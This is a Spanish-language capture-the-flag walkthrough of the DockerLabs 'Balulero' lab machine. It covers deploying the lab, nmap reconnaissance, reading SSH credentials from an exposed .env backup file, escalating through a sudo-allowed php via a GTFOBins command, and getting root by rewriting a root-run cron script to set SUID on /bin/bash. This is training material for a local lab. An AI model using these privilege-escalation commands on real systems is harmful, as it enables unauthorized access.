> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/balulero.md).

# Balulero

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Balulero** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `balulero.zip`:

```bash
7z x balulero.zip
```

<figure><img src="/files/lgtIRpaN6ctBNJ0YBcSy" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `balulero.tar`:

```bash
bash auto_deploy.sh balulero.tar
```

<figure><img src="/files/eQxbKQQV3Xd0FayKHRCK" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/nY6fHVnkrW6udtdbYVUj" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/KHOza99MaZHu6TRY9kGD" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 8.2p1`.
* **Puerto 80:** `Apache httpd 2.4.41`.

<figure><img src="/files/oROxE0XSmHqfK8RAOg4j" alt=""><figcaption></figcaption></figure>

#### **4. Análisis del Servicio Web:**

Accedemos al servicio web en el puerto 80 mediante el navegador: `http://172.17.0.2/`.

<figure><img src="/files/2jlzhMgeOI5NjNrGAUIL" alt=""><figcaption></figcaption></figure>

Al inspeccionar el código fuente de la página, encontramos un archivo en JavaScript llamado `script.js`.

<figure><img src="/files/fg4At35Ln9KHDfWV0grr" alt=""><figcaption></figcaption></figure>

Una parte del contenido de este archivo nos revela información importante:

```javascript
console.log("Se ha prohibido el acceso al archivo .env, que es donde se guarda la password de backup, pero hay una copia llamada .env_de_baluchingon visible jiji")
```

Esto nos indica la existencia de un archivo `.env_de_baluchingon` que podría contener credenciales validas.

<figure><img src="/files/qs9oeJpR4i0VkIpsMTJm" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Obtención de Credenciales:**

Accedemos al archivo `.env_de_baluchingon` mediante la siguiente URL: `http://172.17.0.2/.env_de_baluchingon`.

**Encontramos las siguientes credenciales:**

* **Usuario:** `balu`.
* **Contraseña:** `balubalulerobalulei`.

<figure><img src="/files/XRgp5HZf9i4J4FZXlHP4" alt=""><figcaption></figcaption></figure>

#### **2. Acceso por SSH:**

Utilizamos las credenciales obtenidas para conectarnos por SSH:

```bash
ssh balu@172.17.0.2
```

Confirmamos que el acceso es exitoso y estamos dentro del sistema como el usuario `balu`.

<figure><img src="/files/E1m9pYzPe7XN6BOf2tzg" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Análisis de Privilegios del Usuario:**

Ejecutamos el comando `sudo -l` para verificar qué privilegios tiene el usuario actual (`balu`).

**Resultado:**

* Podemos ejecutar `/usr/bin/php` como el usuario `chocolate` sin necesidad de contraseña:

```bash
(chocolate) NOPASSWD: /usr/bin/php
```

<figure><img src="/files/1AFY3f0e9a4oXUZDZtb9" alt=""><figcaption></figcaption></figure>

#### **2. Abuso de Binarios con Sudo:**

Consultamos [GTFObins](https://gtfobins.github.io/gtfobins/php/) para encontrar una forma de escalar privilegios mediante PHP.

Ejecutamos los siguientes comandos:

```bash
CMD="/bin/bash"
```

```bash
sudo -u chocolate php -r "system('$CMD');"
```

Esto nos otorga una shell como el usuario `chocolate`.

<figure><img src="/files/vPxqAuZtk7j6nELSxHaj" alt=""><figcaption></figcaption></figure>

#### **3. Escalada a Root:**

Al listar los procesos en ejecución con `ps -aux`, vemos que el usuario `root` está ejecutando periódicamente el archivo `/opt/script.php`.

<figure><img src="/files/ELwZqOJJzciPhfITfyyb" alt=""><figcaption></figcaption></figure>

Como tenemos permisos de escritura sobre este archivo, lo modificamos para agregar permisos SUID a `/bin/bash`:

```bash
echo -e "<?php\n\tsystem('chmod u+s /bin/bash');\n?>" > script.php
```

<figure><img src="/files/jP4AHW6wy4ql5eb9MOSv" alt=""><figcaption></figcaption></figure>

Después de esperar a que el script sea ejecutado por `root`, ejecutamos:

```bash
bash -p
```

Esto nos otorga una shell con privilegios de `root`, completando así la escalada de privilegios.

<figure><img src="/files/lhQud03aDMJgD9CGWMlS" alt=""><figcaption></figcaption></figure>
